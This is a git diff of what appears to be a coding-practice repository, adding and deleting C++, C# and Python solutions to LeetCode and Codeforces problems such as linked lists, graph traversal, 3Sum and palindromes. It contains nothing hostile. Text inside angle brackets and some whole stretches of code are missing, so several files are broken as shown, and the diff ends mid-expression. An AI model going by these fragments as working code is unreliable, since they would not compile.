Here/C#/Linked_List/LinkedList/obj/project.assets.json deleted file mode 100644 index 24d3196004c..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList/obj/project.assets.json +++ /dev/null @@ -1,66 +0,0 @@ -{ - "version": 3, - "targets": { - ".NETCoreApp,Version=v3.1": {} - }, - "libraries": {}, - "projectFileDependencyGroups": { - ".NETCoreApp,Version=v3.1": [] - }, - "packageFolders": { - "C:\\Users\\Abhishek\\.nuget\\packages\\": {} - }, - "project": { - "version": "1.0.0", - "restore": { - "projectUniqueName": "C:\\Users\\Abhishek\\Desktop\\LinkedList\\LinkedList\\LinkedList.csproj", - "projectName": "LinkedList", - "projectPath": "C:\\Users\\Abhishek\\Desktop\\LinkedList\\LinkedList\\LinkedList.csproj", - "packagesPath": "C:\\Users\\Abhishek\\.nuget\\packages\\", - "outputPath": "C:\\Users\\Abhishek\\Desktop\\LinkedList\\LinkedList\\obj\\", - "projectStyle": "PackageReference", - "configFilePaths": [ - "C:\\Users\\Abhishek\\AppData\\Roaming\\NuGet\\NuGet.Config", - "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config" - ], - "originalTargetFrameworks": [ - "netcoreapp3.1" - ], - "sources": { - "C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {} - }, - "frameworks": { - "netcoreapp3.1": { - "targetAlias": "netcoreapp3.1", - "projectReferences": {} - } - }, - "warningProperties": { - "warnAsError": [ - "NU1605" - ] - } - }, - "frameworks": { - "netcoreapp3.1": { - "targetAlias": "netcoreapp3.1", - "imports": [ - "net461", - "net462", - "net47", - "net471", - "net472", - "net48" - ], - "assetTargetFallback": true, - "warn": true, - "frameworkReferences": { - "Microsoft.NETCore.App": { - "privateAssets": "all" - } - }, - "runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\5.0.412\\RuntimeIdentifierGraph.json" - } - } - } -} \ No newline at end of file diff --git a/Add Code Here/C#/Linked_List/LinkedList/obj/project.nuget.cache b/Add Code Here/C#/Linked_List/LinkedList/obj/project.nuget.cache deleted file mode 100644 index c6d1513b89a..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList/obj/project.nuget.cache +++ /dev/null @@ -1,8 +0,0 @@ -{ - "version": 2, - "dgSpecHash": "0pGM0w8QW7uCu4tzTCAWGaeM1Yj3uTr0Xcw3OyebgFGZ7Wy1kLG+Z4dZPf997UQMW385sSSrIasEGAwy+G5Ucg==", - "success": true, - "projectFilePath": "C:\\Users\\Abhishek\\Desktop\\LinkedList\\LinkedList\\LinkedList.csproj", - "expectedPackageFiles": [], - "logs": [] -} \ No newline at end of file diff --git a/Add Code Here/C#/ReverseNumber.cs b/Add Code Here/C#/ReverseNumber.cs deleted file mode 100644 index 86e8b778ae6..00000000000 --- a/Add Code Here/C#/ReverseNumber.cs +++ /dev/null @@ -1,23 +0,0 @@ -using System; - -public class ReverseNumber -{ - public static void Main(string[] args) - { - int number; - int reverse=0; - int rem; - - Console.Write("Enter a number: "); - number= int.Parse(Console.ReadLine()); - - while(number != 0) - { - rem = number % 10; - reverse = reverse * 10 + rem; - number /= 10; - } - - Console.Write("Reversed Number: "+reverse); - } -} \ No newline at end of file diff --git a/Add Code Here/C++ Leetcode Solutions/141-linked-list-cycle.cpp b/Add Code Here/C++ Leetcode Solutions/141-linked-list-cycle.cpp new file mode 100644 index 00000000000..0d09ab35c8b --- /dev/null +++ b/Add Code Here/C++ Leetcode Solutions/141-linked-list-cycle.cpp @@ -0,0 +1,16 @@ +class Solution { +public: + bool hasCycle(ListNode *head) { + ListNode *fast = head; + ListNode *slow = head; + + while(fast!=NULL && fast->next!=NULL){ + slow = slow->next; + fast = fast->next->next; + if(fast==slow){ + return true; + } + } + return false; + } +}; diff --git a/Add Code Here/C++ Leetcode Solutions/75_SortColors.cpp b/Add Code Here/C++ Leetcode Solutions/75_SortColors.cpp new file mode 100644 index 00000000000..3ffff63865a --- /dev/null +++ b/Add Code Here/C++ Leetcode Solutions/75_SortColors.cpp @@ -0,0 +1,20 @@ +class Solution { +public: + void sortColors(vector& nums) { + int s=0,m=0,e=nums.size()-1; + + while(m<=e){ + if(nums[m]==2){ + swap(nums[m],nums[e]); + e--; + } + else if(nums[m]==0) + { + swap(nums[s],nums[m]); + s++,m++; + } + else + m++; + } + } +}; diff --git a/Add Code Here/C++ Leetcode Solutions/BFS_graph b/Add Code Here/C++ Leetcode Solutions/BFS_graph new file mode 100644 index 00000000000..b08f5187504 --- /dev/null +++ b/Add Code Here/C++ Leetcode Solutions/BFS_graph @@ -0,0 +1,90 @@ +// C++ code to print BFS traversal from a given +// source vertex + +#include +using namespace std; + +// This class represents a directed graph using +// adjacency list representation +class Graph { + + // No. of vertices + int V; + + // Pointer to an array containing adjacency lists + vector > adj; + +public: + // Constructor + Graph(int V); + + // Function to add an edge to graph + void addEdge(int v, int w); + + // Prints BFS traversal from a given source s + void BFS(int s); +}; + +Graph::Graph(int V) +{ + this->V = V; + adj.resize(V); +} + +void Graph::addEdge(int v, int w) +{ + // Add w to v’s list. + adj[v].push_back(w); +} + +void Graph::BFS(int s) +{ + // Mark all the vertices as not visited + vector visited; + visited.resize(V, false); + + // Create a queue for BFS + list queue; + + // Mark the current node as visited and enqueue it + visited[s] = true; + queue.push_back(s); + + while (!queue.empty()) { + + // Dequeue a vertex from queue and print it + s = queue.front(); + cout << s << " "; + queue.pop_front(); + + // Get all adjacent vertices of the dequeued + // vertex s. + // If an adjacent has not been visited, + // then mark it visited and enqueue it + for (auto adjacent : adj[s]) { + if (!visited[adjacent]) { + visited[adjacent] = true; + queue.push_back(adjacent); + } + } + } +} + +// Driver code +int main() +{ + // Create a graph given in the above diagram + Graph g(4); + g.addEdge(0, 1); + g.addEdge(0, 2); + g.addEdge(1, 2); + g.addEdge(2, 0); + g.addEdge(2, 3); + g.addEdge(3, 3); + + cout << "Following is Breadth First Traversal " + << "(starting from vertex 2) \n"; + g.BFS(2); + + return 0; +} diff --git a/Add Code Here/C++ Leetcode Solutions/isGraph_cyclic.cpp b/Add Code Here/C++ Leetcode Solutions/isGraph_cyclic.cpp new file mode 100644 index 00000000000..d9ba5988718 --- /dev/null +++ b/Add Code Here/C++ Leetcode Solutions/isGraph_cyclic.cpp @@ -0,0 +1,48 @@ +#include +using namespace std; + +bool detect(int src,int parent,vector adj[], vector &vis){ + vis[src] = 1; + + for(auto &child: adj[src]){ + if(!vis[child]){ + if(detect(child,src,adj,vis) == true) return true; + } + else if(child != parent) return true; + } + + return false; + } + bool isCycle(int V, vector adj[]) { + // Code here + vector vis(V,0); + for(int i=0;i> tc; + while (tc--) { + int V, E; + cin >> V >> E; + vector adj[V]; + for (int i = 0; i < E; i++) { + int u, v; + cin >> u >> v; + adj[u].push_back(v); + adj[v].push_back(u); + } + Solution obj; + bool ans = obj.isCycle(V, adj); + if (ans) + cout << "1\n"; + else + cout << "0\n"; + } + return 0; +} diff --git a/Add Code Here/C++ Leetcode Solutions/longest_substring.py b/Add Code Here/C++ Leetcode Solutions/longest_substring.py new file mode 100644 index 00000000000..bd894f03731 --- /dev/null +++ b/Add Code Here/C++ Leetcode Solutions/longest_substring.py @@ -0,0 +1,33 @@ +class Solution: + def longestPalindrome(self, s: str) -> str: + if not s: + return "" + + n = len(s) + # Create a 2D table to store whether substrings are palindromic + is_palindrome = [[False] * n for _ in range(n)] + + start, max_length = 0, 1 # Initialize variables to track the longest palindromic substring + + # All substrings of length 1 are palindromes + for i in range(n): + is_palindrome[i][i] = True + + # Check for palindromes of length 2 + for i in range(n - 1): + if s[i] == s[i + 1]: + is_palindrome[i][i + 1] = True + start = i + max_length = 2 + + # Check for palindromes of length 3 or more + for length in range(3, n + 1): + for i in range(n - length + 1): + j = i + length - 1 # Ending index of the current substring + if s[i] == s[j] and is_palindrome[i + 1][j - 1]: + is_palindrome[i][j] = True + if length > max_length: + start = i + max_length = length + + return s[start:start + max_length] diff --git a/Add Code Here/C++/.DS_Store b/Add Code Here/C++/.DS_Store deleted file mode 100644 index cd5d26b0d1b..00000000000 Binary files a/Add Code Here/C++/.DS_Store and /dev/null differ diff --git a/Add Code Here/C++/110Acodeforces.cpp b/Add Code Here/C++/110Acodeforces.cpp deleted file mode 100644 index 60104e5ae68..00000000000 --- a/Add Code Here/C++/110Acodeforces.cpp +++ /dev/null @@ -1,56 +0,0 @@ -#include -#include -using namespace __gnu_pbds; -using namespace std; - -#define ff first -#define ss second -#define ll long long -#define pb push_back -#define mp make_pair -#define pii pair -#define vi vector -#define mii map -#define pqb priority_queue -#define pqs priority_queue> -#define setbits(x) __builtin_popcountll(x) -#define zrobits(x) __builtin_ctzll(x) -#define mod 100000007 -#define inf 1e18 -#define ps(x,y) fixed<>x;while(x--) -// mt19937 rng(chrono::steady_clock::now.time_since_epoch().count()); - - -//this line is for policy based datastructure -// typedef tree,nulltype -// void c_p_c(){ -// ios_base::sync_with_stdio(0);cin.tie(0);cout.tie(0); -// #ifndef ONLINE_JUDGE -// freopen("input.txt","r",stdin); -// freopen("output.txt","w",stdout); -// #endif -// } -int32_t main(){ -// c_p_c(); - ll n; - cin>>n; - string s=to_string(n); - int i=0; - int f=0; - int sev=0; - while(s[i]){ - if(s[i]=='4') - f++; - if(s[i]=='7') - sev++; - i++; - } - if(f+sev==7 or sev+f==4) - cout<<"YES"<left and !root->right) - { - if(targetSum==root->val) return true; - return false; - } - - if(hasPathSum(root->left,targetSum-root->val)) return true; - - if(hasPathSum(root->right,targetSum-root->val)) return true; - - return false; - } -}; diff --git a/Add Code Here/C++/112. Path Sum.cpp b/Add Code Here/C++/112. Path Sum.cpp deleted file mode 100644 index 608bcaea96b..00000000000 --- a/Add Code Here/C++/112. Path Sum.cpp +++ /dev/null @@ -1,6 +0,0 @@ - bool hasPathSum(TreeNode* root, int sum) { - - if (root == NULL) return false; - if (root->val == sum && root->left == NULL && root->right == NULL) return true; - return hasPathSum(root->left, sum-root->val) || hasPathSum(root->right, sum-root->val); - } diff --git a/Add Code Here/C++/112.cpp b/Add Code Here/C++/112.cpp deleted file mode 100644 index ab59d189460..00000000000 --- a/Add Code Here/C++/112.cpp +++ /dev/null @@ -1,8 +0,0 @@ -class Solution { -public: - bool hasPathSum(TreeNode *root, int sum) { - if (root == NULL) return false; - if (root->val == sum && root->left == NULL && root->right == NULL) return true; - return hasPathSum(root->left, sum-root->val) || hasPathSum(root->right, sum-root->val); - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/1218slidingwindow.cpp b/Add Code Here/C++/1218slidingwindow.cpp deleted file mode 100644 index d62e41f7f26..00000000000 --- a/Add Code Here/C++/1218slidingwindow.cpp +++ /dev/null @@ -1,29 +0,0 @@ -// C program for the above approach -#include - -void printKMax(int arr[], int N, int K) -{ - int j, max; - - for (int i = 0; i <= N - K; i++) { - max = arr[i]; - - for (j = 1; j < K; j++) { - if (arr[i + j] > max) - max = arr[i + j]; - } - printf("%d ", max); - } -} - -// Driver's Code -int main() -{ - int arr[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; - int N = sizeof(arr) / sizeof(arr[0]); - int K = 3; - - // Function call - printKMax(arr, N, K); - return 0; -} diff --git a/Add Code Here/C++/1373.cpp b/Add Code Here/C++/1373.cpp deleted file mode 100644 index dedc23323f5..00000000000 --- a/Add Code Here/C++/1373.cpp +++ /dev/null @@ -1,78 +0,0 @@ -class Solution -{ -public: - int mx = 0; - - pair> func(TreeNode *root) - { - if (root == NULL) - { - return {true, {0, 0, 0}}; - } - - pair> left = func(root->left); - pair> right = func(root->right); - - int sum = left.second[0] + right.second[0]; - sum += root->val; - - vector temp(3, 0); - - temp[0] = sum; - temp[1] = left.second[1]; - temp[2] = right.second[2]; - - bool flag = true; - - if (root->left) - { - if (root->val <= root->left->val || root->val <= temp[1]) - { - flag = false; - } - } - - if (root->right) - { - if (root->val >= root->right->val || root->val >= temp[2]) - { - flag = false; - } - } - - if (root->left && root->right) - { - temp[1] = max(max(left.second[1], right.second[1]), root->val); - temp[2] = min(min(right.second[2], left.second[2]), root->val); - } - else if (root->left == NULL && root->right == NULL) - { - temp[1] = root->val; - temp[2] = root->val; - } - else if (root->left == NULL) - { - temp[1] = right.second[1]; - temp[2] = root->val; - } - else - { - temp[1] = root->val; - temp[2] = left.second[2]; - } - - if (flag && left.first && right.first) - { - mx = max(mx, sum); - return {true, temp}; - } - - return {false, temp}; - } - - int maxSumBST(TreeNode *root) - { - func(root); - return mx; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/14. Longest Common Prefix.cpp b/Add Code Here/C++/14. Longest Common Prefix.cpp deleted file mode 100644 index f40a479adf4..00000000000 --- a/Add Code Here/C++/14. Longest Common Prefix.cpp +++ /dev/null @@ -1,17 +0,0 @@ - string longestCommonPrefix(vector& strs) { - - sort(strs.begin(), strs.end()); - - int i=0, j=0, n=strs.size(); - string ans="", a=strs[0], b=strs[n-1]; - - while(i < a.size() && j < b.size()){ - if(a[i]!=b[j]) break; - else { - ans+=a[i]; - i++,j++; - } - } - - return ans; - } diff --git a/Add Code Here/C++/1480.cpp b/Add Code Here/C++/1480.cpp deleted file mode 100644 index 5906ab9b6e8..00000000000 --- a/Add Code Here/C++/1480.cpp +++ /dev/null @@ -1,27 +0,0 @@ -class Solution { -public: - vector runningSum(vector& nums) { - -// Method - 1 Using Auxiliary Space - O(N) and Time Complexity - O(N). -// vector < int > ans ; -// vector < int >:: iterator it = nums.begin() ; -// int sum = 0 ; -// for(int value : nums ) -// { -// sum = sum + value ; -// ans.push_back(sum) ; -// } - -// return ans ; - - -// Method - 2 - InPlace Solve - O(1) - Space Complexity - Prefix Sum - Array - - for(int i = 1 ; i < nums.size() ; i++) - { - nums[i] += nums[i - 1] ; - } - return nums ; - - } -}; diff --git a/Add Code Here/C++/1578. Minimum Time to Make Rope Colorful.cpp b/Add Code Here/C++/1578. Minimum Time to Make Rope Colorful.cpp deleted file mode 100644 index 88493ec6e6c..00000000000 --- a/Add Code Here/C++/1578. Minimum Time to Make Rope Colorful.cpp +++ /dev/null @@ -1,39 +0,0 @@ -// https://leetcode.com/problems/minimum-time-to-make-rope-colorful/ - -class Solution { -public: - int minCost(string c, vector& t) { - - int ans=0; - - for(int i=0;i,greater> pq; - - int j=i; - - while(j adj[], vector &vis, vector &pathvis){ - vis[node] = 1; - pathvis[node] = 1; - - for(auto it : adj[node]){ - if(!vis[it]){ - if(dfs(it, adj, vis, pathvis)) return true; - } - else if(pathvis[it]){ - return true; - } - } - pathvis[node] = 0; - return false; - } - bool canFinish(int V, vector>& prerequisites) { - vector adj[V]; - for(auto it : prerequisites){ - int u = it[1]; - int v = it[0]; - adj[u].push_back(v); - } - vector vis(V, 0); - vector pathvis(V, 0); - - for(int i=0; i -using namespace std; -int main(){ - int x,y; - cout<<" enter total no, of units"<>x; - if(x<=100){ - y=x*5; - } - else if(x>100 && x<=200){ - y=x*10; - } - else if(x>200 && x<=300){ - y=x*15; - } - else if(x>300){ - y=x*20; - } - cout<<"total bill to be paid"<< y < -using namespace std; -int main() -{ - int n,a, flag=1; - cout << "\nEnter number of columns: "; - cin >> n; - for(int r=1; r<=2*n-1; r++) - { - for(int c=1; c<=n; c++) - { - if(c<=r && c<=n && flag==1) { - cout << "* "; - if(c==n) { - a = n; - flag=0; - } - } - else if(r>n && c<=a) { - cout << "* "; - } - else - cout << " "; - } - a--; - cout << endl; - } -} \ No newline at end of file diff --git a/Add Code Here/C++/2stack_one_array.cpp b/Add Code Here/C++/2stack_one_array.cpp new file mode 100644 index 00000000000..0574ad01400 --- /dev/null +++ b/Add Code Here/C++/2stack_one_array.cpp @@ -0,0 +1,76 @@ +#include +class TwoStack +{ + int *arr; + int top1; + int top2; + int size; + +public: + // Initialize TwoStack. + TwoStack(int s) + { // constructor + this->size = s; + top1 = -1; + top2 = s; + arr = new int[s]; + } + + // Push in stack 1. + void push1(int num) + { + if (top2 - top1 > 1) + { + top1++; + arr[top1] = num; + } + + // Write your code here. + } + + // Push in stack 2. + void push2(int num) + { + // Write your code here. + if (top2 - top1 > 1) + { + top2--; + arr[top2] = num; + } + } + + // Pop from stack 1 and return popped element. + int pop1() + { + // Write your code here. + if (top1 >= 0) + { + int popel = arr[top1]; // important to assign this to integer value then return it. + + top1--; + + return popel; + } + else + { + return -1; + } + } + + // Pop from stack 2 and return popped element. + int pop2() + { + // Write your code here. + if (top2 < size) + { + int popel = arr[top2]; + + top2++; + return popel; + } + else + { + return -1; + } + } +}; diff --git a/Add Code Here/C++/30. Substring with Concatenation of All Words.cpp b/Add Code Here/C++/30. Substring with Concatenation of All Words.cpp deleted file mode 100644 index 4e022808459..00000000000 --- a/Add Code Here/C++/30. Substring with Concatenation of All Words.cpp +++ /dev/null @@ -1,34 +0,0 @@ - bool checkSubstring(unordered_map wordCount, string s, int wordLen) { - for(int j=0; j findSubstring(string s, vector& words) { - vector res; - int wordLen = words[0].size(); - int sLen = s.size(); - int wordsWindow = words.size() * wordLen; - - unordered_map wordCount; - for(int i=0; ileft,ll,lr); - r=answer(root->right,rl,rr); - return max(root->val+ll+lr+rl+rr,l+r); - } - int rob(TreeNode* root) { - int l=0,r=0; - return answer(root,l,r); - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/3Sum_Problem.cpp b/Add Code Here/C++/3Sum_Problem.cpp deleted file mode 100644 index 6b544777b47..00000000000 --- a/Add Code Here/C++/3Sum_Problem.cpp +++ /dev/null @@ -1,47 +0,0 @@ -vector > threeSum(vector &num) { - - vector > res; - - std::sort(num.begin(), num.end()); - - for (int i = 0; i < num.size(); i++) { - - int target = -num[i]; - int front = i + 1; - int back = num.size() - 1; - - while (front < back) { - - int sum = num[front] + num[back]; - - // Finding answer which start from number num[i] - if (sum < target) - front++; - - else if (sum > target) - back--; - - else { - vector triplet = {num[i], num[front], num[back]}; - res.push_back(triplet); - - // Processing duplicates of Number 2 - // Rolling the front pointer to the next different number forwards - while (front < back && num[front] == triplet[1]) front++; - - // Processing duplicates of Number 3 - // Rolling the back pointer to the next different number backwards - while (front < back && num[back] == triplet[2]) back--; - } - - } - - // Processing duplicates of Number 1 - while (i + 1 < num.size() && num[i + 1] == num[i]) - i++; - - } - - return res; - -} diff --git a/Add Code Here/C++/3sum.cpp b/Add Code Here/C++/3sum.cpp deleted file mode 100644 index 8c1f5287811..00000000000 --- a/Add Code Here/C++/3sum.cpp +++ /dev/null @@ -1,39 +0,0 @@ - for (int i = 0; i < n; i++) { - - int currentSum = arr[i]; - - - - if (currentSum == sum) { - - cout << "Sum found at indexes " << i << endl; - - return; - - } - - else { - - // Try all subarrays starting with 'i' - - for (int j = i + 1; j < n; j++) { - - currentSum += arr[j]; - - - - if (currentSum == sum) { - - cout << "Sum found between indexes " - - << i << " and " << j << endl; - - return; - - } - - } - - } - - } diff --git a/Add Code Here/C++/4 singly linked list.txt b/Add Code Here/C++/4 singly linked list.txt deleted file mode 100644 index f81283e828a..00000000000 --- a/Add Code Here/C++/4 singly linked list.txt +++ /dev/null @@ -1,250 +0,0 @@ -#include -using namespace std; -class Node{ -public: - int key; - int data; - Node* next; - - // default constructor - Node(){ - key = 0; - data = 0; - next = NULL; - } - Node(int k, int d){ - key = k; - data = d; - } -}; - -class SinglyLinkedList{ -public: - Node* head; - SinglyLinkedList(){ // default constructor - head = NULL; - } - - // parameterized constructo it will pass an argurment and it will store that arguement in the head variabl - SinglyLinkedList(Node* n){ - head = n; - } - - //functions first we will check if node exist or not - Node* NodeExists(int k){ // we need this function it will check it node exist or not - // this function helps us in the rest of the functions. - Node*temp = NULL; - Node* ptr = head; - - while (ptr != NULL){ - if (ptr->key == k){ - temp = ptr; - } - ptr = ptr->next; - } - return temp; - } - - // appending node function - void appendNode(Node* n){ - if (NodeExists(n->key) != NULL){ - cout << "Node already exist with key value: " << n->key << "append another one\n"; - } - else - if (head == NULL){ //if it will check if there is no actual node it will create - head = n; - cout << "Node Appended Successfully\n"; - } - else{ // it will iterate till the last then it will create one - Node* ptr = head; - while (ptr->next != NULL){ - ptr = ptr->next; - } - ptr->next = n; - cout << "Node Appended\n"; - } - } - - //Prepend node operation it wil prepend at the beggining - void PrependNode(Node* n){ - if (NodeExists(n->key) != NULL){ - cout << "Node already exist with key value: " << n->key << "append another one\n"; - } - else{ - n->next = head; // it will store the addresss of old head and linked with that node - head = n; // here we will make the new node as a head - cout << "Node Prepended Successfully\n"; - } - } - - - // insert a node after a particular node in the list - void InsertNodeAfter(int k, Node*n)// the k represent the key value of after node and d will be the data of new node - { - Node* ptr = NodeExists(k); - if (ptr == NULL){ // it means no node exist with k particular node - cout << "No Node Exist with the key value" << k; - } - else { - if (NodeExists(n->key) != NULL){ // it will check the new value if it matches with the old one - cout << "Node already exist with key value " << n->key << " insert another one\n"; - } - else{ // here we will linking - n->next = ptr->next; // n(4 is in case) of next has to store the address of ptr(ptr is 2 in case) of next - ptr->next = n; // here we will connect n which 4 with 4 which is n; - cout << "Node Inserted Successfully" << endl; - } - } - } - - // Update node by key - void UpdateNodeByKey(int k, int d) - { - Node*ptr = NodeExists(k); - if (ptr != NULL){ - ptr->data = d; - cout << "Data Updated Successfully\n"; - } - else{ - cout << "Node Doesn't Exist with key value: " << k << endl; - } - } - - // Deleting a particular node - void DeleteNodeByKey(int k){ - //first we will check if there is no node in the linked list - if (head == NULL){ - cout << "The linked list is already Empty\n"; - } - else if (head != NULL){ - if (head->key == k){ - head = head->next; - cout << "Node Unlinked with the " << k << endl; - } - else{ - Node* temp = NULL; - Node* prevptr = head; - Node* currentptr = head->next; - while (currentptr != NULL){ - if (currentptr->key == k){ - temp = currentptr; - currentptr = NULL; - } - else - { - prevptr = prevptr->next; - currentptr = currentptr->next; - } - } - if (temp != NULL){ - prevptr->next = temp->next; // it means first node is = to the third one - cout << "Node Unlocked with key value: " << k << endl; - } - else{ - cout << "Node Doesn't Exist with key value: " << k << endl; - } - } - } - } - - - // printing the linked list - void PrintLinkedList(){ - if (head == NULL){ - cout << "No Node Exist int the linked list\n"; - } - else - { - cout << "The linked list values are:" << endl; - Node* temp = head; - while (temp != NULL){ - cout << "(" << temp->key << "," << temp->data << ") -->"; - temp = temp->next; - } - } - } - - // Other Extra Function for The variety of understanding - -}; - -int main(){ - SinglyLinkedList s1; - int option; - int key1, k1, data1; - - do - { - cout << "What operation do you want to perform" << endl; - cout << "Select one option but Enter [0] to exit the program" << endl; - cout << "1. Append Node()" << endl; - cout << "2. PrePend Noe()" << endl; - cout << "3. Insert Node After()" << endl; - cout << "4. Delete Node By Key()" << endl; - cout << "5. Update Node By Key()" << endl; - cout << "6. Print the Entire list()" << endl; - cout << "7. Clear the Screen()" << endl; - - cin >> option; - Node* n1 = new Node(); - - //if we use static memory concept then after execution of loop once the varival will lost. - switch (option) - { - case 1: - cout << "\n\t Append Node Operation\n"; - cout << "\t Enter key and data of the node to be appended\n"; - cin >> key1; - cin >> data1; - n1->key = key1; - n1->data = data1; - s1.appendNode(n1); - break; - case 2: - cout << "\n\t Prepend Node Operation\n"; - cout << "\t Enter key and data of the node to be Prepended\n"; - cin >> key1; - cin >> data1; - n1->key = key1; - n1->data = data1; - s1.PrependNode(n1); - break; - case 3: - cout << "\n\t Insert After Node Operation\n"; - cout << "\n\t Enter key of Existed Node:: and Data of the new Node which you want to insert\n"; - cin >> k1; - cout << "Now Enter the Key and data of the new Node\n"; - cin >> key1; - cin >> data1; - n1->key = key1; - n1->data = data1; - s1.InsertNodeAfter(k1, n1); - break; - case 4: - cout << "\n\t Delete node by key operation\n"; - cout << "\n\t Enter Key of the node to be deleted\n"; - cin >> k1; - s1.DeleteNodeByKey(k1); - break; - case 5: - cout << "\n\t Update by the key Operation\n"; - cout << "\n\t Enter the key of a node to be Updated\n"; - cin >> k1; - cin >> data1; - s1.UpdateNodeByKey(k1, data1); - break; - case 6: - cout << "\n\t Print the Entire List Operation\n"; - s1.PrintLinkedList(); - break; - case 7: - system("cls"); - break; - default: - cout << "Please Enter a valid Option\n"; - } - } while (option != 0); - - - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/5 doubly linked list.txt b/Add Code Here/C++/5 doubly linked list.txt deleted file mode 100644 index 090064760c8..00000000000 --- a/Add Code Here/C++/5 doubly linked list.txt +++ /dev/null @@ -1,266 +0,0 @@ -#include - -using namespace std; - -class Node { - public: - int key; - int data; - Node * next; - Node * previous; - - Node() { - key = 0; - data = 0; - next = NULL; - previous = NULL; - } - Node(int k, int d) { - key = k; - data = d; - } -}; - -class DoublyLinkedList { - - public: - Node * head; - - DoublyLinkedList() { - head = NULL; - } - DoublyLinkedList(Node * n) { - head = n; - } - - // 1. CHeck if node exists using key value - - Node * nodeExists(int k) { - Node * temp = NULL; - Node * ptr = head; - - while (ptr != NULL) { - if (ptr-> key == k) { - temp = ptr; - } - ptr = ptr-> next; - } - - return temp; - } - - // 2. Append a node to the list - - void appendNode(Node * n) { - if (nodeExists(n-> key) != NULL) { - cout << "Node Already exists with key value : " << n-> key << ". Append another node with different Key value" << endl; - } else { - if (head == NULL) { - head = n; - cout << "Node Appended as Head Node" << endl; - } else { - Node * ptr = head; - while (ptr-> next != NULL) { - ptr = ptr-> next; - } - ptr-> next = n; - n-> previous = ptr; - cout << "Node Appended" << endl; - } - } - } - - // 3. Prepend Node - Attach a node at the start - void prependNode(Node * n) { - if (nodeExists(n-> key) != NULL) { - cout << "Node Already exists with key value : " << n-> key << ". Append another node with different Key value" << endl; - } else { - if (head == NULL) { - head = n; - cout << "Node Prepended as Head Node" << endl; - } else { - head-> previous = n; - n-> next = head; - head = n; - cout << "Node Prepended" << endl; - } - - } - } - - // 4. Insert a Node after a particular node in the list - void insertNodeAfter(int k, Node * n) { - Node * ptr = nodeExists(k); - if (ptr == NULL) { - cout << "No node exists with key value: " << k << endl; - } else { - if (nodeExists(n-> key) != NULL) { - cout << "Node Already exists with key value : " << n-> key << ". Append another node with different Key value" << endl; - } else { - Node * nextNode = ptr-> next; - // inserting at the end - if (nextNode == NULL) { - ptr-> next = n; - n-> previous = ptr; - cout << "Node Inserted at the END" << endl; - } - - //inserting in between - else { - n-> next = nextNode; - nextNode-> previous = n; - n-> previous = ptr; - ptr-> next = n; - - cout << "Node Inserted in Between" << endl; - - } - - } - } - } - - // 5. Delete node by unique key. Basically De-Link not delete - void deleteNodeByKey(int k) { - Node * ptr = nodeExists(k); - if (ptr == NULL) { - cout << "No node exists with key value: " << k << endl; - } else { - - if (head-> key == k) { - head = head-> next; - cout << "Node UNLINKED with keys value : " << k << endl; - } else { - Node * nextNode = ptr-> next; - Node * prevNode = ptr-> previous; - // deleting at the end - if (nextNode == NULL) { - - prevNode-> next = NULL; - cout << "Node Deleted at the END" << endl; - } - - //deleting in between - else { - prevNode-> next = nextNode; - nextNode-> previous = prevNode; - cout << "Node Deleted in Between" << endl; - - } - } - } - } - - // 6th update node - void updateNodeByKey(int k, int d) { - - Node * ptr = nodeExists(k); - if (ptr != NULL) { - ptr-> data = d; - cout << "Node Data Updated Successfully" << endl; - } else { - cout << "Node Doesn't exist with key value : " << k << endl; - } - - } - - // 7th printing - void printList() { - if (head == NULL) { - cout << "No Nodes in Doubly Linked List"; - } else { - cout << endl << "Doubly Linked List Values : "; - Node * temp = head; - - while (temp != NULL) { - cout << "(" << temp-> key << "," << temp-> data << ") <--> "; - temp = temp-> next; - } - } - - } - -}; - -int main() { - - DoublyLinkedList obj; - int option; - int key1, k1, data1; - do { - cout << "\nWhat operation do you want to perform? Select Option number. Enter 0 to exit." << endl; - cout << "1. appendNode()" << endl; - cout << "2. prependNode()" << endl; - cout << "3. insertNodeAfter()" << endl; - cout << "4. deleteNodeByKey()" << endl; - cout << "5. updateNodeByKey()" << endl; - cout << "6. print()" << endl; - cout << "7. Clear Screen" << endl << endl; - - cin >> option; - Node * n1 = new Node(); - //Node n1; - - switch (option) { - case 0: - break; - case 1: - cout << "Append Node Operation \nEnter key & data of the Node to be Appended" << endl; - cin >> key1; - cin >> data1; - n1-> key = key1; - n1-> data = data1; - obj.appendNode(n1); - //cout<> key1; - cin >> data1; - n1-> key = key1; - n1-> data = data1; - obj.prependNode(n1); - break; - - case 3: - cout << "Insert Node After Operation \nEnter key of existing Node after which you want to Insert this New node: " << endl; - cin >> k1; - cout << "Enter key & data of the New Node first: " << endl; - cin >> key1; - cin >> data1; - n1-> key = key1; - n1-> data = data1; - - obj.insertNodeAfter(k1, n1); - break; - - case 4: - - cout << "Delete Node By Key Operation - \nEnter key of the Node to be deleted: " << endl; - cin >> k1; - obj.deleteNodeByKey(k1); - - break; - case 5: - cout << "Update Node By Key Operation - \nEnter key & NEW data to be updated" << endl; - cin >> key1; - cin >> data1; - obj.updateNodeByKey(key1, data1); - - break; - case 6: - obj.printList(); - - break; - case 7: - system("cls"); - break; - default: - cout << "Enter Proper Option number " << endl; - } - - } while (option != 0); - - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/5. Longest Palindromic Substring.cpp b/Add Code Here/C++/5. Longest Palindromic Substring.cpp deleted file mode 100644 index 47a384b972b..00000000000 --- a/Add Code Here/C++/5. Longest Palindromic Substring.cpp +++ /dev/null @@ -1,30 +0,0 @@ - string longestPalindrome(string s) { - int n = s.size(); - int dp[n][n]; - - memset(dp,0,sizeof(dp)); - int end=1; - int strt=0; - - for(int i=0;i -using namespace std; - -class Node { - public: - int key; - int data; - Node * next; - - Node() { - key = 0; - data = 0; - next = NULL; - } - Node(int k, int d) { - key = k; - data = d; - } -}; - -class CircularLinkedList { - public: - Node * head; - - CircularLinkedList() { - head = NULL; - } - - // 1. CHeck if node exists using key value - Node * nodeExists(int k) { - - Node * temp = NULL; - Node * ptr = head; - - if (ptr == NULL) { - return temp; - } else { - do { - if (ptr - > key == 